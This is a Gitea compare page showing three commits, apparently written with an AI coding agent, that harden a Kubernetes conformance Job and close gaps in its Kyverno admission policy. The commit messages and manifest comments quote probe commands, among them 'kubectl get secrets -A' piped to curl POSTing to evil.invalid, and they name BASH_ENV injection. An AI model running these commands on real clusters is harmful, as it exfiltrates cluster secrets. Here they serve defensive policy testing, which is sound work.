Compare commits

..
Author SHA1 Message Date
jakman85andClaude Opus 5 44dbd44333 fix(sec): the trigger policy read containers and nothing else — initContainers, ephemeralContainers and env were all open
gate / gate (pull_request) Successful in 1m37s
gate / conformance (pull_request) Has been skipped
Authorised by the coordinator in this PR, reversing the brief's "do not touch the policy": the
ban existed to stop the boundary being BENT to fit a Job, not to stop a hole being closed.

MEASURED before this change (kyverno v1.19.0, pinned toolbox), `containers[0]` fully compliant,
`serviceAccountName: conformance-runner`:

  * a `privileged: true` `docker.io/library/alpine:latest` initContainer running
    `kubectl get secrets -A`                            -> pass: 3, fail: 0   ADMITTED
  * the committed template with ONLY the init container's args swapped for
    `kubectl get secrets -A | curl -X POST ... http://evil.invalid/`
                                                        -> pass: 3, fail: 0   ADMITTED

Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's
`containers[0].args`) or `volumes` (rule 2). `=(privileged): "false"` only ever applied to
`containers[0]`. `ephemeralContainers` and `env` were equally unread.

Four new rules:
  * trigger-initcontainers-must-be-the-committed-clone-step — at most ONE initContainer, on
    the digest-pinned runner image, command ["/usr/local/bin/conformance-clone"], NO args,
    non-root, no privilege escalation, not privileged.
  * trigger-may-not-declare-ephemeral-containers.
  * trigger-env-names-must-be-the-committed-set — `command` is pinned, so injection moves to a
    variable the pinned command honours, and BASH_ENV alone is arbitrary code execution: bash
    sources it before running a non-interactive script, and the runner's command IS one.
  * trigger-may-not-use-envfrom — a whole Secret as env, whose keys are nowhere in the Job.

All use `deny` conditions, not a `pattern`. A Kyverno array pattern asserts "at least one
element matches", so a pattern-based init rule would have admitted the committed clone step
PLUS an arbitrary second init container — fixture `second-initcontainer` exists because I
nearly wrote it that way.

THE ACTUAL FIX IS THAT THE CLONE SCRIPT LEFT THE JOB. Pinning `command` is worthless when the
command is `/bin/bash -c` and the script arrives as `args`: a policy cannot distinguish the
committed script from an attacker's, because both are just data. The logic now lives in the
image at /usr/local/bin/conformance-clone, from `conformance/incluster/conformance-clone`
(agent 1, PR #18 — which must merge before this template is usable). I had written a second
copy of that script here and DELETED it: two copies of the clone entrypoint, one baked into
the image and one not, drifts into "the reviewed file is not the file that runs". I read
theirs first: the interface matches exactly (CONFORMANCE_GIT_SHA, GITEA_USERNAME/GITEA_TOKEN,
baked clone target /workspace/src — which is what makes workingDir correct — TMPDIR/HOME under
/workspace) and both load-bearing guards survived, the `^[0-9a-f]{40}$` SHA check and
`rev-parse HEAD == SHA`.

Env values and the `valueFrom` source Secret are deliberately NOT constrained: values are
legitimately environment-specific, and conformance-runner can already read this namespace's
Secrets via its own RBAC. Names are the vector, because a name is what a program keys on.

Two Kyverno traps, commented in the rules because both silently invert the result:
`not_null(x, `default`)` and never `||` (JMESPath treats `false` as falsy, so
`allowPrivilegeEscalation || `true`` rewrites the COMPLIANT value into a denial); and
`join(' ', command)` compared as a string, because Equals/NotEquals on arrays is unreliable
and element-wise matching lets `["/bin/sh","-c",...]` through on element 0.

ALSO: the committed `args` default was a shape that cannot run. Agent 1 measured that
`--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the runner image,
which ships no flux/promtool/kyverno/kustomize. Tracing run.sh gives the precise invariant —
`requirement_scoped_dirs()` is layer-bounded only when `--layer` is given and is not `all`,
and `offline_selected_dirs()` then filters to /l0-static/|/l1-rendering/ — so `--layer` is
mandatory and must name only l2/l3. Default changed from `--layer all --strict-coverage` to
`--layer l2,l3`, and the header now records that the plan's "PHASE EXIT: --layer all" shape
CANNOT run in-cluster: a full-suite run is CI's L0/L1 plus this Job's L2/L3. The policy's args
allowlist is deliberately NOT narrowed to match — a security boundary should not encode which
toolchain an image ships, and an allowed-but-unrunnable shape fails loudly rather than
escalating.

PROVEN, NOT ASSERTED (7 rules):
  real rendered template                   -> pass: 7, fail: 0
  coordinator's exact initContainer probe  -> fail on trigger-initcontainers-...  (6/1)
  ephemeralContainers probe                -> fail on trigger-may-not-declare-... (6/1)
Fixture matrix 65 pass / 13 fail / 0 error / 0 skip, full table in DECISIONS-LOG. Every evil
init/ephemeral/env case still PASSES the three original rules — that column is the finding.
`injected-initcontainer-env` PASSES the initContainer rule and is hostile purely through env,
which is why env had to be its own rule.

UNVERIFIED: whether the API server accepts `ephemeralContainers` in a Job pod template at all.
Upstream the field is settable only via the pods/ephemeralcontainers subresource, but whether
that check reaches a nested pod template is not something I could establish without a
`create --dry-run=server`, a mutating request reserved to the operator (CLAUDE.md §5). Rule
added regardless: a no-op if upstream rejects it, the same hole if not.

Gate (toolbox): lint green (404 files), l0 green (kyverno test: 1 policy / 15 resources),
render-golden green (10), l1 green; spec-immutability + gitea-settings SKIPPED; MERGE GATE
UNDETERMINED rc 3. Nothing FAILED.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 19:44:39 -05:00
jakman85andClaude Opus 5 f81967228d docs(decisions-log): the approval-policy check this PR was expected to fail does not exist
gate / gate (pull_request) Successful in 1m37s
gate / conformance (pull_request) Has been skipped
I was briefed to expect CI to FAIL on an `approval-policy` check, because `conformance/**` is
security-relevant. Measured instead:

  grep -rn approval .gitea/workflows/            -> no match
  branches/main status_check_contexts            -> ['gate / gate (pull_request)']
  commits/<head>/statuses  gate / gate           -> success, "Successful in 1m36s"
                           gate / conformance    -> pending, "Blocked by required conditions"

The only required context is `gate / gate`, and it is green — and it genuinely ran (1m36s), so
this is not the skipped-Gitea-job-reports-success trap. There is no path-based approval policy
in CI anywhere in this repo. What blocks the merge is `required_approvals: 1` and the fact that
`gitea-admin` authors every agent PR and cannot self-approve — the control that returned HTTP
405 on PR #12.

Recording it because the PR body and the log entry both asserted the wrong blocker, and this
repo has been burned repeatedly by documentation that described a control nobody measured. A
change to the admission boundary under `conformance/**` is gated by a generic human approval,
not by anything that knows the path is security-relevant; if that is the intent, it is not
implemented.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 19:21:49 -05:00
jakman85andClaude Opus 5 d3d5f6d8d2 feat(conformance): the in-cluster Job can now run a named commit and get its results out
gate / gate (pull_request) Successful in 1m36s
gate / conformance (pull_request) Has been skipped
`conformance/incluster/chainsaw-job.yaml` was a skeleton: `workspace` was an empty
`emptyDir` with nothing to populate it, so the Job could never have run the suite at
all. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.

The whole shape is dictated by a fail-closed Enforce policy
(platform/kyverno/admission/conformance-trigger-job-shape.yaml) that admits only
`workspace` and `results` as volume names. So:

  * the read-only Gitea credential arrives as env from `secretKeyRef` on Secret
    `conformance-git-readonly` -- by NAME only, no literal in the tree -- and reaches
    `git` via an inline credential.helper that reads the environment, so the token is
    never in argv and never on disk;
  * `$TMPDIR` and `$HOME` are directories ON the `workspace` emptyDir, which keeps
    `readOnlyRootFilesystem: true` without a third volume and without subPath mounts
    (a kubelet-created subPath dir is root-owned 0755 and unwritable by the runner);
  * `results` cannot be mounted at `conformance/_artifacts` -- that path is inside the
    clone target and `git clone` refuses a non-empty target -- hence the new
    `CONF_ARTIFACTS` override, honoured only when set.

The init container shallow-clones, fetches the exact commit if the shallow tip lacks
it, detaches onto it, and ASSERTS `HEAD` equals the requested SHA. The SHA must match
^[0-9a-f]{40}$, so an unrendered placeholder is a hard failure rather than a silent run
of whatever the branch tip was.

Results leave over stdout because the trigger identity has no pods/exec and admission
pins `command` to exactly ["./run.sh"], so nothing can wrap the suite. `run.sh` emits
them on an EXIT trap -- a failed run still ships its red JUnit -- between markers
carrying bytes, base64 line count and sha256 TWICE:

    === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=.. bytes=.. lines=.. sha256=.. ===

`kubectl logs` is lossy and base64 decodes a truncated stream to plausible garbage, so
a collector that makes the five documented checks cannot mistake a partial log for a
complete artifact set. Verified locally: full decode round-trips; head-truncation,
tail-truncation, a dropped interior line and one corrupted character are each detected;
exit codes 0, an explicit 3 and a `set -e` abort all survive the trap with a matching
`rc=` in the envelope.

Admission proven with the pinned CLI rather than assumed -- `kyverno apply` on the
rendered template gives `pass: 3, fail: 0`, and negative controls on the SAME template
(a third volume; `command` wrapped in `/bin/sh -c`) each fail the expected rule. The
shape is now a `real-template` fixture so drift out of admission fails `make -C ci l0`.

FINDING, NOT FIXED HERE: that policy never reads `initContainers`. Measured -- the same
rendered template with only the init container's args replaced by
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/` is ADMITTED (pass 3,
fail 0). The escalation the policy exists to stop is still reachable one field over, and
was before this Job had an init container. A security boundary changes in its own
reviewed PR, so it is documented in the manifest header and DECISIONS-LOG with the
recommended 4th rule, not patched in beside the Job that must satisfy it.

UNVERIFIED: nothing here has executed. The `conformance-runner` image does not exist
(plan §3 item 1) and Secret `conformance-git-readonly` does not exist (item 6), so the
clone, the credential helper and the log transport are unexercised against a cluster.
`ci/conformance.sh` is untouched -- CI behaviour is unchanged by this branch.

Gate (toolbox, DEV_KUBECONFIG=/dev/null + .git bind-mount shim): lint/l0/render-golden/l1
green; spec-immutability, gitea-settings and conformance SKIPPED; MERGE GATE
UNDETERMINED, rc 3. Nothing FAILED.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 19:15:25 -05:00
9 changed files with 1493 additions and 981 deletions

No files matched your search

+399 -608
View File
File diff suppressed because it is too large. Load diff
+51 -12
View File
@@ -25,20 +25,59 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02).
commented with the test/requirement that needs it — only as the matching fault-injection
test lands. This is a **privileged test identity**: never reused by workloads, its own
audit item.
- `chainsaw-job.yaml` — the Job skeleton. Single entrypoint `./run.sh`; CI sets `args` to
`--requirements <touched IDs>` (merge gate) or `--layer all --strict-coverage` (phase
exit). Image pinned to `versions.env` `CHAINSAW_IMAGE`.
- `chainsaw-job.yaml` — the **run template** (not reconciled; the trigger renders it per
run). Single entrypoint `./run.sh`; a clone init container delivers the suite at the
commit under test; artifacts leave over stdout. Its header is the authority on the
substitution tokens and the admission constraints it satisfies, and records the
`initContainers` hole that was found and closed alongside it — read it before editing
either file.
- `conformance-clone` — **arrives with PR #18**, not this one. The clone init container's
entire logic, baked into the runner image at `/usr/local/bin/conformance-clone`. It is a
file in the image rather than an inline script in the Job precisely so admission can pin
it: a policy cannot tell the committed script from an attacker's when both are just `args`
on `/bin/bash -c`. The repository URL and clone target are hardcoded **there** on purpose,
and `CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC` are hard-failed on a mismatch rather than
honoured — a URL taken from env would let the trigger choose which repository's code runs
as `conformance-runner`. This branch's Job depends on that interface:
`CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`, a clone target of `/workspace/src`
(hence `workingDir: /workspace/src/conformance`), and `TMPDIR`/`HOME` under `/workspace`.
## Flow
1. CI (Gitea Actions, delivered in T-6.1b) creates a Job from `chainsaw-job.yaml` (via a
trigger with narrow rights: create Job + read its logs/status — *not* a broad
kubeconfig).
2. The Job clones/loads the impl repo at the commit under test into `/workspace` and runs
`./run.sh` under `conformance-runner`.
3. `run.sh` runs Chainsaw over the selected tests and writes `report.junit.xml` +
`coverage/` to the results volume (`/workspace/conformance/_artifacts`).
4. CI collects those artifacts (results volume or the terminating log stream, which echoes
their paths) and enforces the merge / phase-exit gate on them.
1. CI (Gitea Actions) renders `chainsaw-job.yaml` — two `@@TOKEN@@` substitutions, the
runner image digest and the commit SHA — replaces `args` with the invocation shape, and
`create`s the Job under the narrow `conformance-trigger` identity (create/get jobs, get
pods + pods/log — *not* a broad kubeconfig, and deliberately **no `pods/exec`**).
2. Admission (`platform/kyverno/admission/conformance-trigger-job-shape.yaml`, Enforce +
fail-closed) admits only the committed shape. That policy, not the RBAC, is the boundary.
3. The **init container** runs `/usr/local/bin/conformance-clone` with **no args**: it
shallow-clones the repo into `/workspace/src`, fetches the commit if the shallow tip does
not already contain it, detaches onto it, and **asserts `HEAD` equals the requested SHA** —
the suite runs at the commit under test or not at all. The read-only Gitea credential
reaches `git` as env vars from `secretKeyRef` (secret `conformance-git-readonly`, keys
`username`/`token`), never as a volume: admission allows no volume but `workspace` and
`results`.
4. The runner executes `./run.sh` under `conformance-runner`, writing `report.junit.xml` +
`coverage/` to the `results` volume at `/results` (`CONF_ARTIFACTS`).
5. On exit — green, red or aborted — `run.sh` prints a delimited base64 tar of that tree to
stdout, carrying `bytes`, `lines` and `sha256` in **both** the BEGIN and END markers. CI
decodes it from `kubectl logs` and must make all five completeness checks listed above
`conf_emit_artifacts_tgz()` in `../run.sh`; a partial log then fails collection instead
of decoding to plausible garbage.
## Prerequisites before this Job can run at all
- **Secret `conformance-git-readonly`** in namespace `conformance`, keys `username` and
`token`: a **read-only** Gitea token for this repository. Never a write token or a
push-capable deploy key. **Does not exist** — operator, out of GitOps (plan §3 item 6).
- **The `conformance-runner` image** (plan §5 step 1) — built in **PR #18**, which must merge
before this template is usable; its digest is what the trigger substitutes. Contract the
image MUST meet, because the Job and the admission policy both depend on it:
- bash, git, python3, chainsaw and kubectl on `PATH`;
- a **uid 65532** non-root user — the Job's `runAsUser`/`fsGroup` pin it, so a different
uid in the Containerfile means the Job will not start;
- `conformance-clone` installed at **`/usr/local/bin/conformance-clone`**,
mode 0755. The policy rule `trigger-initcontainers-must-be-the-committed-clone-step` pins
that exact path, so an image without it cannot run the clone step and no other path will
be admitted.
## Phase 0
No cluster exists, so nothing here is applied yet. These manifests are reconciled by Flux
+270 -35
View File
@@ -1,23 +1,175 @@
# =============================================================================
# In-cluster Chainsaw conformance Job — SKELETON (ADR-0011; docs/14)
# In-cluster Chainsaw conformance Job — the RUN TEMPLATE (ADR-0011; docs/14)
# Serves docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.
#
# CI (Gitea Actions, T-6.1b) TRIGGERS this Job and waits for it; CI holds NO
# cluster credentials. The Job runs L1/L2/L3 under the scoped `conformance-runner`
# ServiceAccount (rbac.yaml), writes JUnit + coverage to a results location that
# CI collects, and enforces the merge / phase-exit gate on the outcome.
# NOT RECONCILED BY FLUX. `kustomization.yaml` deliberately omits this file: it is a
# TEMPLATE the CI trigger renders and submits once per run. Flux reconciling it would
# create a permanent Job object and fight the trigger for ownership.
#
# Two invocation shapes (CI sets args):
# * MERGE GATE: ./run.sh --requirements <touched R-IDs> (subset)
# * PHASE EXIT: ./run.sh --layer all (full suite)
# CI (Gitea Actions) creates this Job and waits for it. CI holds NO broad kubeconfig —
# only the narrow `conformance-trigger` identity (create/get jobs, get pods + pods/log).
# In particular it has NO `pods/exec` and cannot `kubectl cp`, which is why results leave
# the Job over STDOUT (see "RESULTS TRANSPORT" below) and not over an exec channel.
#
# Results artifact mechanism (delegated to WS-TEST by docs/14 open items):
# Chosen = a shared results emptyDir + a terminating log stream, with an
# OPTIONAL results PVC for durability across CI collection. For Phase 0 there is
# no cluster; this manifest is reconciled by Flux from Phase 1+ and exercised
# once L2/L3 can run. CI collects `report.junit.xml` + `coverage/` from the
# results volume (or scrapes the pod log, which echoes their paths).
# -----------------------------------------------------------------------------
# THE ADMISSION BOUNDARY THIS MANIFEST MUST SATISFY
# -----------------------------------------------------------------------------
# platform/kyverno/admission/conformance-trigger-job-shape.yaml is Enforce +
# failurePolicy: Fail, and it governs every Job `conformance-trigger` creates. It admits
# ONLY: exactly one container on a digest-pinned conformance-runner image,
# serviceAccountName conformance-runner, command ["./run.sh"], args drawn from
# --layer/--requirements/--include-scope/--strict-coverage plus plain value tokens, no
# host namespaces, non-root with privilege escalation off, and — the constraint that
# shapes everything below — NO VOLUMES BUT `workspace` AND `results`.
#
# NOT applied in Phase 0 (no cluster). Image tag pinned to versions.env CHAINSAW_IMAGE.
# So the git credential CANNOT be a projected/secret volume, and the init container
# cannot have a scratch volume of its own. Both are solved inside the two allowed names:
# * the credential arrives as env vars via secretKeyRef (an env var is not a volume),
# BY SECRET NAME ONLY — no token literal ever appears in this file;
# * `$TMPDIR` and `$HOME` are pointed at directories on the `workspace` emptyDir, so
# readOnlyRootFilesystem stays true without a third volume and without subPath
# mounts (a kubelet-created subPath dir is root-owned 0755 and would not be writable
# by the non-root runner).
#
# Verify before changing anything here:
# kyverno apply platform/kyverno/admission/conformance-trigger-job-shape.yaml \
# --resource <rendered job> \
# --userinfo platform/kyverno/tests/conformance-trigger/user-info.yaml
# and see platform/kyverno/tests/conformance-trigger/ — the `real-template` case in
# resources.yaml is this shape, so `make -C ci l0` fails if it drifts out of admission.
#
# -----------------------------------------------------------------------------
# THE initContainers HOLE — FOUND AND CLOSED IN THE SAME PR (2026-09-29)
# -----------------------------------------------------------------------------
# As originally written, the policy read only `spec.template.spec.containers` (rule 1's
# pattern, rule 3's `containers[0].args`) and `volumes` (rule 2). `initContainers` was
# never examined, so the exact escalation the policy exists to stop was reachable one
# field over. MEASURED with the pinned CLI (kyverno v1.19.0), `containers[0]` left fully
# compliant:
#
# * this template with ONLY the init container's args replaced by
# `kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/`
# * and (the coordinator's independent reproduction) a `privileged: true`
# `docker.io/library/alpine:latest` init container running `kubectl get secrets -A`
#
# -> pass: 3, fail: 0, warn: 0, error: 0, skip: 0 # BOTH ADMITTED
#
# `=(privileged): "false"` in rule 1 only ever applied to `containers[0]`.
#
# Closed by new rules in that policy, authorised by the coordinator in this PR
# (the original brief forbade policy edits; that was to stop the boundary being BENT to
# fit a Job, not to stop a hole being closed):
# * `trigger-initcontainers-must-be-the-committed-clone-step` — at most one init
# container, on the digest-pinned runner image, `command:
# ["/usr/local/bin/conformance-clone"]`, NO args, non-root, no privilege escalation,
# not privileged. The clone logic moved OUT of this manifest and into the image for
# exactly this reason: a policy cannot vet a shell script passed as `args`, so the
# script had to stop being caller-supplied data. It stays reviewable as
# conformance/incluster/conformance-clone.
# * `trigger-may-not-declare-ephemeral-containers` — `ephemeralContainers` was the same
# unread field. Upstream k8s is BELIEVED to reject it in a pod template; that was not
# verified here, and the rule costs nothing if it is true.
# * `trigger-env-names-must-be-the-committed-set` and `trigger-may-not-use-envfrom` — `env`
# was the same mistake a THIRD time. `command` is pinned, so injection moves to a variable
# the pinned command honours, and `BASH_ENV` alone is arbitrary code execution: bash
# sources it before running a non-interactive script. Names are allowlisted per container;
# VALUES and the `valueFrom` source Secret deliberately are not (values are legitimately
# environment-specific, and conformance-runner can already read this namespace's Secrets
# through its own RBAC, so pinning the source would buy nothing).
#
# Every probe is now a negative fixture in platform/kyverno/tests/conformance-trigger/ —
# `evil-initcontainer`, `initcontainer-with-args`, `second-initcontainer`,
# `evil-ephemeral-container`, `injected-env`, `injected-initcontainer-env`,
# `envfrom-whole-secret` — so they stay failing.
#
# THE GENERALISABLE LESSON, since this was the same bug three times: an "admit only the
# committed shape" policy is only as good as its enumeration of every field that can carry
# executable intent. `containers` was enumerated; `initContainers`, `ephemeralContainers` and
# `env` were not. Before adding a field to this Job, ask which rule reads it — and if none
# does, that is the finding, not an oversight to work around.
#
# The clone URL is hardcoded in the image entrypoint (and `CONFORMANCE_REPO_URL` is hard-failed
# on a mismatch rather than honoured) for exactly this reason. Do not move it into env.
#
# Note also that `kyverno apply` evaluates these rules whether or not `--userinfo` is
# supplied, so a CLI pass is evidence about the PATTERNS, not about the subjects filter.
#
# -----------------------------------------------------------------------------
# WHAT THE TRIGGER SUBSTITUTES — `@@NAME@@` tokens, NOT `${NAME}`
# -----------------------------------------------------------------------------
# The placeholder syntax is deliberately NOT shell syntax. `${NAME}` would be substituted by
# `envsubst`, which has no way to tell a token meant for rendering from a shell reference
# that belongs to a script — a trap this file walked into while the clone logic was still an
# inline bash script here. `@@NAME@@` cannot collide with anything, and a surviving `@@` in a
# rendered manifest is trivially greppable as "the trigger forgot to render this". Render
# with a two-token sed, nothing cleverer:
#
# sed -e "s|@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@|${digest}|" \
# -e "s|@@CONFORMANCE_GIT_SHA@@|${sha}|" conformance/incluster/chainsaw-job.yaml
#
# @@CONFORMANCE_RUNNER_IMAGE_DIGEST@@ the 64-hex digest of the pinned runner image.
# Only the DIGEST is substituted — the registry path and the `@sha256:` pinning
# are committed literals, so the substitution cannot repoint the image at another
# repository, and the template still satisfies the policy's image pattern before
# rendering. An unsubstituted digest fails as ImagePullBackOff, loudly.
# @@CONFORMANCE_GIT_SHA@@ the 40-hex commit under test. The init container
# REFUSES to run unless it matches ^[0-9a-f]{40}$, so an unsubstituted placeholder
# or an injected value is a hard failure, never a run of the wrong tree.
#
# `args` is NOT a placeholder: it is a real list, and the trigger REPLACES it wholesale per
# invocation shape. Keeping it a committed list (not a substituted scalar) is what lets this
# file be handed to `kyverno apply` as-is.
#
# -----------------------------------------------------------------------------
# WHICH ARGS ACTUALLY RUN ON THIS IMAGE — `--layer` IS MANDATORY AND MUST NAME ONLY l2/l3
# -----------------------------------------------------------------------------
# The runner image ships bash, git, python3, chainsaw and kubectl. It deliberately does NOT
# ship flux, promtool, kyverno or kustomize, because L0/L1 are CI's job and run without a
# cluster. But run.sh runs its OFFLINE L0/L1 stages first for any selection that is not
# offline-only, and those stages need exactly those missing tools. Tracing run.sh:
#
# requirement_scoped_dirs() is layer-bounded ONLY when --layer is given and != all;
# offline_selected_dirs() then filters the selection to /l0-static/|/l1-rendering/.
#
# so:
# ["--layer","l2,l3"] -> offline selection EMPTY. RUNS.
# ["--layer","l2,l3","--requirements","R-NET-01"] -> intersected to L2/L3. RUNS.
# ["--layer","l2,l3","--include-scope","whole-repo"] -> scope union is ALSO
# layer-bounded, so only whole-repo-scoped L2/L3 tests (none today). RUNS.
# ["--requirements","R-NET-01"] (no --layer, so LAYER=all) -> unbounded: pulls that
# requirement's L0/L1 tests into the run. FAILS on the missing toolchain.
# ["--layer","all","--strict-coverage"] -> every L0/L1 test. FAILS.
#
# The first three are measured working by the image build (PR #18); the last two are measured
# failing. **The plan's "PHASE EXIT: --layer all" shape therefore cannot run in-cluster** — a
# full-suite run still belongs to CI for L0/L1 plus this Job for L2/L3, not to this Job alone.
# The committed default below is the narrowest shape that works.
#
# The admission policy's args allowlist is deliberately NOT narrowed to enforce this: a
# security boundary should not encode which toolchain an image happens to ship, and the failure
# mode of an allowed-but-unrunnable shape is a loud non-zero run, not an escalation. This
# comment is the enforcement, and `ci/conformance.sh` (plan §3 item 4) is where it must land.
#
# -----------------------------------------------------------------------------
# RESULTS TRANSPORT — base64 tar on STDOUT, truncation-detectable
# -----------------------------------------------------------------------------
# `command` is pinned to ["./run.sh"] by admission, so nothing can be appended after the
# suite to package artifacts. run.sh therefore does it itself, on an EXIT trap, when
# CONF_EMIT_ARTIFACTS_TGZ=1 (set below and nowhere else). It prints:
#
# === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
# <base64 of the tgz, wrapped at 76 columns>
# === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
#
# The BEGIN and END headers are byte-identical and both carry the size, the base64 line
# count and the sha256. A collector that checks all four (one BEGIN, one END, headers
# equal, line count and digest match) cannot mistake a truncated `kubectl logs` for a
# complete artifact set — which a bare blob would, because base64 decodes a truncated
# stream to plausible garbage without complaint. See the block comment above
# conf_emit_artifacts_tgz() in conformance/run.sh for the collector's exact obligations.
#
# `activeDeadlineSeconds` is deliberately shorter than the log-retention window: the
# transport is the pod's log, so the Job must finish while that log still exists.
# =============================================================================
apiVersion: batch/v1
kind: Job
@@ -28,7 +180,10 @@ metadata:
app.kubernetes.io/part-of: conformance
spec:
backoffLimit: 0 # deterministic: a failed conformance run is a failure, no retry
# A retry would also re-emit the artifact envelope, giving the collector two BEGIN
# markers in one log. backoffLimit 0 keeps "exactly one envelope per Job" true.
ttlSecondsAfterFinished: 3600
activeDeadlineSeconds: 5400 # L3 fault injection is slow; a hung run must not hold the gate
template:
metadata:
labels:
@@ -37,38 +192,118 @@ spec:
serviceAccountName: conformance-runner # scoped test identity (rbac.yaml)
restartPolicy: Never
securityContext:
# runAsUser is explicit, not inherited from the image's USER: `runAsNonRoot: true`
# alone only *rejects* a root image, it does not choose a uid, and the runner image
# is built by a separate task (plan §5 step 1). 65532 is the conventional
# distroless `nonroot` uid; the Containerfile MUST create it. fsGroup makes both
# emptyDirs group-writable for that uid.
runAsNonRoot: true
runAsUser: 65532
runAsGroup: 65532
fsGroup: 65532
seccompProfile: { type: RuntimeDefault }
containers:
- name: chainsaw
# PIN to versions.env CHAINSAW_IMAGE (ghcr.io/kyverno/chainsaw:v0.2.12).
image: ghcr.io/kyverno/chainsaw:v0.2.12
workingDir: /workspace/conformance
# The suite repo is delivered into /workspace (git clone init-container or
# a Flux-populated volume). run.sh is the single entrypoint (identical to local).
command: ["./run.sh"]
# CI overrides args per invocation shape:
# ["--requirements", "R-NET-01,R-NET-06"] (merge gate) OR
# ["--layer", "all", "--strict-coverage"] (phase exit)
args: ["--layer", "all", "--strict-coverage"]
initContainers:
# ---------------------------------------------------------------------
# Deliver the suite AT THE COMMIT UNDER TEST into the shared workspace.
#
# NO SCRIPT AND NO ARGS HERE, DELIBERATELY. The logic lives in the repo at
# conformance/incluster/conformance-clone and is baked into the runner image at
# /usr/local/bin/conformance-clone. That is what makes the init container
# ENFORCEABLE: while the script was inline as `command: ["/bin/bash","-c"]` +
# `args: [<script>]`, no admission policy could distinguish the committed script
# from an attacker's — both are just `args` on a shell, and a Job with a privileged
# alpine init container running `kubectl get secrets -A` was ADMITTED (measured
# 2026-09-29). Rule `trigger-initcontainers-must-be-the-committed-clone-step` now
# pins this container to that one path with NO args, so it carries no
# caller-supplied code. Read that entrypoint for the clone/fetch/assert logic
# and for why the repository URL is hardcoded THERE rather than passed in env.
#
# Only the commit SHA is caller-supplied, and the entrypoint refuses anything that
# is not 40 hex characters before it touches the network.
# ---------------------------------------------------------------------
- name: clone-suite-at-commit
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
command: ["/usr/local/bin/conformance-clone"]
env:
- name: CONF_ROOT
value: /workspace/conformance
- name: CONFORMANCE_GIT_SHA
value: "@@CONFORMANCE_GIT_SHA@@"
# BY SECRET NAME ONLY. Provisioned out-of-band by the operator (plan §3.6) as a
# READ-ONLY Gitea token with read access to this one repository — never a write
# token, never a deploy key with push. Keys: `username`, `token`.
# An env var is not a volume, which is how this coexists with the admission
# policy's workspace/results-only rule.
- name: GITEA_USERNAME
valueFrom:
secretKeyRef: { name: conformance-git-readonly, key: username }
- name: GITEA_TOKEN
valueFrom:
secretKeyRef: { name: conformance-git-readonly, key: token }
# Writable scratch + HOME on the workspace emptyDir, so the root filesystem
# stays read-only and no third volume is needed.
- name: TMPDIR
value: /workspace/tmp
- name: HOME
value: /workspace/home
volumeMounts:
- { name: workspace, mountPath: /workspace }
- { name: results, mountPath: /workspace/conformance/_artifacts }
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities: { drop: ["ALL"] }
runAsNonRoot: true
resources:
requests: { cpu: 100m, memory: 128Mi }
limits: { cpu: "1", memory: 512Mi }
containers:
- name: chainsaw
# Digest-pinned under the conformance repository path — the admission policy
# rejects a mutable tag. Built from conformance/versions.env CHAINSAW_VERSION
# (+ kubectl, git, python3, bash); see plan §5 step 1.
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
workingDir: /workspace/src/conformance
# PINNED BY ADMISSION. Nothing may wrap or follow it, which is why the artifact
# envelope is emitted by run.sh itself rather than by a shell one-liner here.
command: ["./run.sh"]
# Replaced wholesale by the trigger per invocation shape (see the header).
# `--layer l2,l3` and NOT `--layer all`: see the WHICH ARGS ACTUALLY RUN block.
args: ["--layer", "l2,l3"]
env:
# run.sh derives CONF_ROOT from its own location; CONF_ARTIFACTS moves the
# artifact tree onto the `results` volume. It cannot live at its default
# conformance/_artifacts, because a volume mounted inside the clone target
# would make that directory non-empty and `git clone` would refuse it.
- name: CONF_ARTIFACTS
value: /results
# THE RESULTS CHANNEL. Set here and nowhere else: a local run must not spray a
# base64 tar over an operator's terminal.
- name: CONF_EMIT_ARTIFACTS_TGZ
value: "1"
- name: TMPDIR
value: /workspace/tmp
- name: HOME
value: /workspace/home
volumeMounts:
- { name: workspace, mountPath: /workspace }
- { name: results, mountPath: /results }
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities: { drop: ["ALL"] }
runAsNonRoot: true
# L3 fault injection drives etcd and Longhorn hard (see run.sh's HEAVY set and
# config/chainsaw-config.yaml); the limits bound the blast radius on a homelab
# node without starving the suite.
resources:
requests: { cpu: 250m, memory: 512Mi }
limits: { cpu: "2", memory: 2Gi }
volumes:
# Suite source: populated by an init-container git clone of the impl repo at
# the commit under test, OR a Flux-synced source volume. (Init container
# omitted from this skeleton; wire in T-6.1b.)
# ONLY THESE TWO NAMES ARE ADMISSIBLE. Do not add a third.
# Suite source, written by the init container: /workspace/src is the checkout,
# /workspace/tmp is $TMPDIR, /workspace/home is $HOME.
- name: workspace
emptyDir: {}
# Results: CI collects report.junit.xml + coverage/ from here. Swap emptyDir
# for a results PVC if durability beyond pod lifetime is required.
# Artifact tree ($CONF_ARTIFACTS). Its contents are what the STDOUT envelope
# carries; an emptyDir is sufficient because the transport is the log, not the
# volume. Swap for a PVC only if the log channel is replaced (plan §7 item 4).
- name: results
emptyDir: {}
+111 -1
View File
@@ -60,6 +60,17 @@
# _artifacts/status/status.md human requirement-status report (--status)
# _artifacts/status/status.json machine requirement-status report (--status)
#
# Environment (both set ONLY by the in-cluster Job, incluster/chainsaw-job.yaml):
# CONF_ARTIFACTS=<dir> relocate the artifact tree off the default
